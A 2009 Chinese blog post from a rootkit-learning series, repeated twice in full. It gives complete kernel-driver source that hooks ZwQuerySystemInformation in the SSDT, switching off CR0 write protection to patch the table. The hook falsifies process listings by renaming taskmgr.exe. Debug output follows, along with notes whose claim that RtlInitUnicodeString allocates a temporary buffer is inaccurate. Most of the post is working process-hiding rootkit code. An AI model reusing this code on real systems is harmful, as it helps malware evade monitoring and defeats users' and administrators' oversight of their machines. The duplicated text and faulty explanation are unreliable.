HOOK SSDT Hide Process (六)
Posted on 2009-10-26 19:10 S.l.e!ep.¢% 閱讀(344) 評論(0) 編輯 收藏 引用 所屬分類: RootKit[資料] http://m.shnenglu.com/sleepwom/archive/2009/10/24/99375.html
在 HOOK SSDT Hide Process (五)?? R3 已經知道 ZwQuerySystemInformation 函數用來 enum 進程
那么現在看下 R0 的HOOK 函數實現先
從致是調用回 ntdll.dll? 中的 ZwQuerySystemInformation 函數,取得返回值后,再把相關的數據過濾掉
編譯后運行有問題,于是乎對程序作了一下修改,主要改了 MyZwQuerySystemInformation 函數
在判斷到進程的名字是 taskmgr.exe 就把它改為 haha
運行后, 事與愿違, 并沒有顯示 haha, 而是顯示為空
用 DebugView 顯示調試信息
Q:為何在 taskmgr.exe 中會顯示為空?疑問中
采用 HOOK SSDT Hide Process (五)??中的程序跟蹤發現,taskmgr.exe 的 imagename.buffer 的地址居然是 0xb049480
這個地址顯然不是應用層的地址,后果然后是不讓訪問了
于是改成用 memcpy
DbgPrint("before 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
//RtlInitUnicodeString(&(curr->ProcessName), L"fdsf");
memcpy(curr->ProcessName.Buffer, L"_root_", 12);
DbgPrint("after 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
結果,運行成功
taskmgr.exe 的 imagename 被成功修改為 _root_r.exe
產生新的問題:
Q:? RtlInitUnicodeString 對 UNICODE_STRING 賦值是會同時分配緩沖區的空間?這一點查了MSDN,沒看到有相關的說明
需要找時間去驗證下
A:? RtlInitUnicodeString() 這個函數它并不是直接去修改內存,而是重新分配一段緩沖區,而這段緩沖區在離開函數后就無效了
??????而用戶傳進來的?SystemInformation 指針,是一段連續的內存空間
Q:???用戶區傳進來的 SystemInformation 指針,是一段連續的內存空間,也就是說, 如果修改了 IMAGENAME 的內容,導致
原來 UNICODE_STRING.buffer 不足的話,那么需要把后面的 SystemInformation 都往后移?(這一點也需要找時間驗證下)
比較保險的做法是,先執行系統的 ZwQuerySytemInformation 后,先把所有的 SystemInformation 都讀出來,然后再分別寫到
用戶傳進來的 SystemInformation? 緩沖區。
A: 這個嘗試過,不過藍屏,需要找時間再仔細研究下
在 HOOK SSDT Hide Process (五)?? R3 已經知道 ZwQuerySystemInformation 函數用來 enum 進程
那么現在看下 R0 的HOOK 函數實現先
從致是調用回 ntdll.dll? 中的 ZwQuerySystemInformation 函數,取得返回值后,再把相關的數據過濾掉
編譯后運行有問題,于是乎對程序作了一下修改,主要改了 MyZwQuerySystemInformation 函數
在判斷到進程的名字是 taskmgr.exe 就把它改為 haha
#include?"ssdthook.h"
#pragma??pack(1)
typedef?struct?_SSDT_TABLE
{
??PVOID???ServiceTableBase;
??PULONG??ServiceCounterTableBase;
??ULONG???NumberOfService;
??ULONG???ParamTableBase;
}SSDT_TABLE,*?PSSDT_TABLE;
#pragma?pack()
struct?_SYSTEM_THREADS
{
??LARGE_INTEGER???????????KernelTime;
??LARGE_INTEGER???????????UserTime;
??LARGE_INTEGER???????????CreateTime;
??ULONG???????????????????????????WaitTime;
??PVOID???????????????????????????StartAddress;
??CLIENT_ID???????????????????????ClientIs;
??KPRIORITY???????????????????????Priority;
??KPRIORITY???????????????????????BasePriority;
??ULONG???????????????????????????ContextSwitchCount;
??ULONG???????????????????????????ThreadState;
??KWAIT_REASON????????????WaitReason;
};
//===================================================
struct?_SYSTEM_PROCESSES
{
??ULONG???????????????????????????NextEntryDelta;
??ULONG???????????????????????????ThreadCount;
??ULONG???????????????????????????Reserved[6];
??LARGE_INTEGER???????????CreateTime;
??LARGE_INTEGER???????????UserTime;
??LARGE_INTEGER???????????KernelTime;
??UNICODE_STRING??????????ProcessName;
??KPRIORITY???????????????????????BasePriority;
??ULONG???????????????????????????ProcessId;
??ULONG???????????????????????????InheritedFromProcessId;
??ULONG???????????????????????????HandleCount;
??ULONG???????????????????????????Reserved2[2];
??VM_COUNTERS?????????????????????VmCounters;
??IO_COUNTERS?????????????????????IoCounters;?//windows?2000?only
??struct?_SYSTEM_THREADS??????????Threads[1];
};
struct?_SYSTEM_PROCESSOR_TIMES
{
???LARGE_INTEGER??????????IdleTime;
???LARGE_INTEGER??????????KernelTime;
???LARGE_INTEGER??????????UserTime;
???LARGE_INTEGER??????????DpcTime;
???LARGE_INTEGER??????????InterruptTime;
???ULONG??????????????InterruptCount;
};
//======================================================
typedef?NTSTATUS?(__stdcall?*ZWQUERYSYSTEMINFORMATION)(
???IN?ULONG?SystemInformationClass,?
???IN?PVOID?SystemInformation,?
???IN?ULONG?SystemInformationLength,?
???OUT?PULONG?ReturnLength);
NTSTATUS?MyZwQuerySystemInformation(?
???IN?ULONG?SystemInformationClass,?
???IN?PVOID?SystemInformation,?
???IN?ULONG?SystemInformationLength,?
???OUT?PULONG?ReturnLength);
//定義全局變量
extern?"C"?extern?PSSDT_TABLE??KeServiceDescriptorTable;
ULONG??OldAddress;
ZWQUERYSYSTEMINFORMATION????????OldZwQuerySystemInformation;
PVOID?Base;
void?UnHook();
VOID?Unload?(IN?PDRIVER_OBJECT?pDriverObject)?
{
????????KdPrint(("Enter?DriverUnload\n"));
????????UnHook();???//?mark
}
NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
????????????????????????????????????IN?PVOID?SystemInformation,?
????????????????????????????????????IN?ULONG?SystemInformationLength,?
????????????????????????????????????OUT?PULONG?ReturnLength)?//定義自己的Hook函數
{?
????
????NTSTATUS?rc;?
????UNICODE_STRING?process_name;
????
????RtlInitUnicodeString(&process_name,?L"taskmgr.exe");
????
????rc?=?(OldZwQuerySystemInformation)?(?
????????SystemInformationClass,?
????????SystemInformation,?
????????SystemInformationLength,?
????????ReturnLength);?
????
????if(NT_SUCCESS(rc))?
????{
????????if(5?==?SystemInformationClass)
????????{?
????????????struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
????????????
????????????while(curr)
????????????{
????????????????if?(RtlEqualUnicodeString(&process_name,?&curr->ProcessName,?1))
????????????????{
????????????????????????????????????????DbgPrint("before?%wZ\n",&process_name);?
????????????????????????????????????????RtlInitUnicodeString(&(curr->ProcessName),?L"haha");??????????????????????????????????????????
????????????????????????????????????????DbgPrint("after?%wZ\n",&(curr->ProcessName));?
????????????????}?//?if?(RtlEqualUnicodeString(&process_name,?&curr->ProcessName,?1))
????????????????
????????????????if(curr->NextEntryDelta)
????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
????????????????else?
????????????????????curr?=?NULL;
????????????}?//while(curr)
????????????
????????}?//?if(5?==?SystemInformationClass)
????????
????}//?if(NT_SUCCESS(rc))
????
????//?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully
.?\n"));
????return?rc;
}
VOID?Hook()
{
????????DbgPrint("Entry?Hook()\n");
????????OldAddress?=(ULONG)KeServiceDescriptorTable->ServiceTableBase?+?4*0xAd;//用windbg反匯編查到zwquerysysteminformationde的ID號是0xADh
????????DbgPrint("KeServiceDescriptorTable->ServiceTableBase?is?:0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
????????//保存原來函數的地址
????????OldZwQuerySystemInformation?=?(ZWQUERYSYSTEMINFORMATION)?*(ULONG?*)OldAddress;
????????DbgPrint("OldZwQuerySystemInformation?is?:0x%0x\n",?OldZwQuerySystemInformation);
????????DbgPrint("MyZwQuerySystemInformation?is?:0x%0x\n",?MyZwQuerySystemInformation);
????????
????????//取消內存寫保護
????????_asm
????????{?
????????cli
????????mov??eax,cr0
????????and??eax,not?10000h
????????mov??cr0,eax
????????}
????????*(ULONG*)OldAddress?=(ULONG)?MyZwQuerySystemInformation;???????//mark???MyZwQuerySystemInformation;
????????
????????//還原內存寫保護
????????_asm
????????{
????????mov??eax,cr0
????????or???eax,10000h
????????mov??cr0,eax?
????????sti
????????}
}
void?UnHook()
{
??ULONG??Address;
??Address?=(ULONG)?KeServiceDescriptorTable->ServiceTableBase?+0xAD*4;
??__asm
??{
????cli
????mov??eax,cr0
????and??eax,not?10000h
????mov??cr0,eax
??}
??*(ULONG*)Address?=(ULONG)?OldZwQuerySystemInformation;
??__asm
??{??
????mov??eax,cr0
????or???eax,10000h
????mov??cr0,eax
????sti
??}
??DbgPrint("Unhook?leave!\n");
}
//========================驅動入口函數
extern?"C"?NTSTATUS?DriverEntry(IN?PDRIVER_OBJECT??pDriverObject,?IN?PUNICODE_STRING??pRegistryPath)
{
??DbgPrint("Entry?Hook?Function!\n");
??pDriverObject->DriverUnload?=?Unload;
??Hook();
??DbgPrint("Leave?DriverEntry!\n");
??return?STATUS_SUCCESS;
}?
#pragma??pack(1)
typedef?struct?_SSDT_TABLE
{
??PVOID???ServiceTableBase;
??PULONG??ServiceCounterTableBase;
??ULONG???NumberOfService;
??ULONG???ParamTableBase;
}SSDT_TABLE,*?PSSDT_TABLE;
#pragma?pack()
struct?_SYSTEM_THREADS
{
??LARGE_INTEGER???????????KernelTime;
??LARGE_INTEGER???????????UserTime;
??LARGE_INTEGER???????????CreateTime;
??ULONG???????????????????????????WaitTime;
??PVOID???????????????????????????StartAddress;
??CLIENT_ID???????????????????????ClientIs;
??KPRIORITY???????????????????????Priority;
??KPRIORITY???????????????????????BasePriority;
??ULONG???????????????????????????ContextSwitchCount;
??ULONG???????????????????????????ThreadState;
??KWAIT_REASON????????????WaitReason;
};
//===================================================
struct?_SYSTEM_PROCESSES
{
??ULONG???????????????????????????NextEntryDelta;
??ULONG???????????????????????????ThreadCount;
??ULONG???????????????????????????Reserved[6];
??LARGE_INTEGER???????????CreateTime;
??LARGE_INTEGER???????????UserTime;
??LARGE_INTEGER???????????KernelTime;
??UNICODE_STRING??????????ProcessName;
??KPRIORITY???????????????????????BasePriority;
??ULONG???????????????????????????ProcessId;
??ULONG???????????????????????????InheritedFromProcessId;
??ULONG???????????????????????????HandleCount;
??ULONG???????????????????????????Reserved2[2];
??VM_COUNTERS?????????????????????VmCounters;
??IO_COUNTERS?????????????????????IoCounters;?//windows?2000?only
??struct?_SYSTEM_THREADS??????????Threads[1];
};
struct?_SYSTEM_PROCESSOR_TIMES
{
???LARGE_INTEGER??????????IdleTime;
???LARGE_INTEGER??????????KernelTime;
???LARGE_INTEGER??????????UserTime;
???LARGE_INTEGER??????????DpcTime;
???LARGE_INTEGER??????????InterruptTime;
???ULONG??????????????InterruptCount;
};
//======================================================
typedef?NTSTATUS?(__stdcall?*ZWQUERYSYSTEMINFORMATION)(
???IN?ULONG?SystemInformationClass,?
???IN?PVOID?SystemInformation,?
???IN?ULONG?SystemInformationLength,?
???OUT?PULONG?ReturnLength);
NTSTATUS?MyZwQuerySystemInformation(?
???IN?ULONG?SystemInformationClass,?
???IN?PVOID?SystemInformation,?
???IN?ULONG?SystemInformationLength,?
???OUT?PULONG?ReturnLength);
//定義全局變量
extern?"C"?extern?PSSDT_TABLE??KeServiceDescriptorTable;
ULONG??OldAddress;
ZWQUERYSYSTEMINFORMATION????????OldZwQuerySystemInformation;
PVOID?Base;
void?UnHook();
VOID?Unload?(IN?PDRIVER_OBJECT?pDriverObject)?
{
????????KdPrint(("Enter?DriverUnload\n"));
????????UnHook();???//?mark
}
NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
????????????????????????????????????IN?PVOID?SystemInformation,?
????????????????????????????????????IN?ULONG?SystemInformationLength,?
????????????????????????????????????OUT?PULONG?ReturnLength)?//定義自己的Hook函數
{?
????
????NTSTATUS?rc;?
????UNICODE_STRING?process_name;
????
????RtlInitUnicodeString(&process_name,?L"taskmgr.exe");
????
????rc?=?(OldZwQuerySystemInformation)?(?
????????SystemInformationClass,?
????????SystemInformation,?
????????SystemInformationLength,?
????????ReturnLength);?
????
????if(NT_SUCCESS(rc))?
????{
????????if(5?==?SystemInformationClass)
????????{?
????????????struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
????????????
????????????while(curr)
????????????{
????????????????if?(RtlEqualUnicodeString(&process_name,?&curr->ProcessName,?1))
????????????????{
????????????????????????????????????????DbgPrint("before?%wZ\n",&process_name);?
????????????????????????????????????????RtlInitUnicodeString(&(curr->ProcessName),?L"haha");??????????????????????????????????????????
????????????????????????????????????????DbgPrint("after?%wZ\n",&(curr->ProcessName));?
????????????????}?//?if?(RtlEqualUnicodeString(&process_name,?&curr->ProcessName,?1))
????????????????
????????????????if(curr->NextEntryDelta)
????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
????????????????else?
????????????????????curr?=?NULL;
????????????}?//while(curr)
????????????
????????}?//?if(5?==?SystemInformationClass)
????????
????}//?if(NT_SUCCESS(rc))
????
????//?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully

????return?rc;
}
VOID?Hook()
{
????????DbgPrint("Entry?Hook()\n");
????????OldAddress?=(ULONG)KeServiceDescriptorTable->ServiceTableBase?+?4*0xAd;//用windbg反匯編查到zwquerysysteminformationde的ID號是0xADh
????????DbgPrint("KeServiceDescriptorTable->ServiceTableBase?is?:0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
????????//保存原來函數的地址
????????OldZwQuerySystemInformation?=?(ZWQUERYSYSTEMINFORMATION)?*(ULONG?*)OldAddress;
????????DbgPrint("OldZwQuerySystemInformation?is?:0x%0x\n",?OldZwQuerySystemInformation);
????????DbgPrint("MyZwQuerySystemInformation?is?:0x%0x\n",?MyZwQuerySystemInformation);
????????
????????//取消內存寫保護
????????_asm
????????{?
????????cli
????????mov??eax,cr0
????????and??eax,not?10000h
????????mov??cr0,eax
????????}
????????*(ULONG*)OldAddress?=(ULONG)?MyZwQuerySystemInformation;???????//mark???MyZwQuerySystemInformation;
????????
????????//還原內存寫保護
????????_asm
????????{
????????mov??eax,cr0
????????or???eax,10000h
????????mov??cr0,eax?
????????sti
????????}
}
void?UnHook()
{
??ULONG??Address;
??Address?=(ULONG)?KeServiceDescriptorTable->ServiceTableBase?+0xAD*4;
??__asm
??{
????cli
????mov??eax,cr0
????and??eax,not?10000h
????mov??cr0,eax
??}
??*(ULONG*)Address?=(ULONG)?OldZwQuerySystemInformation;
??__asm
??{??
????mov??eax,cr0
????or???eax,10000h
????mov??cr0,eax
????sti
??}
??DbgPrint("Unhook?leave!\n");
}
//========================驅動入口函數
extern?"C"?NTSTATUS?DriverEntry(IN?PDRIVER_OBJECT??pDriverObject,?IN?PUNICODE_STRING??pRegistryPath)
{
??DbgPrint("Entry?Hook?Function!\n");
??pDriverObject->DriverUnload?=?Unload;
??Hook();
??DbgPrint("Leave?DriverEntry!\n");
??return?STATUS_SUCCESS;
}?
運行后, 事與愿違, 并沒有顯示 haha, 而是顯示為空
用 DebugView 顯示調試信息
Entry?Hook?Function!
Entry?Hook()
KeServiceDescriptorTable->ServiceTableBase?is?:0x804e2d20
OldZwQuerySystemInformation?is?:0x8057cc27
MyZwQuerySystemInformation?is?:0xf8ed4080
Leave?DriverEntry!
before?taskmgr.exe
after?haha
Entry?Hook()
KeServiceDescriptorTable->ServiceTableBase?is?:0x804e2d20
OldZwQuerySystemInformation?is?:0x8057cc27
MyZwQuerySystemInformation?is?:0xf8ed4080
Leave?DriverEntry!
before?taskmgr.exe
after?haha
Q:為何在 taskmgr.exe 中會顯示為空?疑問中
采用 HOOK SSDT Hide Process (五)??中的程序跟蹤發現,taskmgr.exe 的 imagename.buffer 的地址居然是 0xb049480
這個地址顯然不是應用層的地址,后果然后是不讓訪問了
于是改成用 memcpy
DbgPrint("before 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
//RtlInitUnicodeString(&(curr->ProcessName), L"fdsf");
memcpy(curr->ProcessName.Buffer, L"_root_", 12);
DbgPrint("after 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
結果,運行成功
taskmgr.exe 的 imagename 被成功修改為 _root_r.exe
產生新的問題:
Q:? RtlInitUnicodeString 對 UNICODE_STRING 賦值是會同時分配緩沖區的空間?這一點查了MSDN,沒看到有相關的說明
需要找時間去驗證下
A:? RtlInitUnicodeString() 這個函數它并不是直接去修改內存,而是重新分配一段緩沖區,而這段緩沖區在離開函數后就無效了
??????而用戶傳進來的?SystemInformation 指針,是一段連續的內存空間
Q:???用戶區傳進來的 SystemInformation 指針,是一段連續的內存空間,也就是說, 如果修改了 IMAGENAME 的內容,導致
原來 UNICODE_STRING.buffer 不足的話,那么需要把后面的 SystemInformation 都往后移?(這一點也需要找時間驗證下)
比較保險的做法是,先執行系統的 ZwQuerySytemInformation 后,先把所有的 SystemInformation 都讀出來,然后再分別寫到
用戶傳進來的 SystemInformation? 緩沖區。
A: 這個嘗試過,不過藍屏,需要找時間再仔細研究下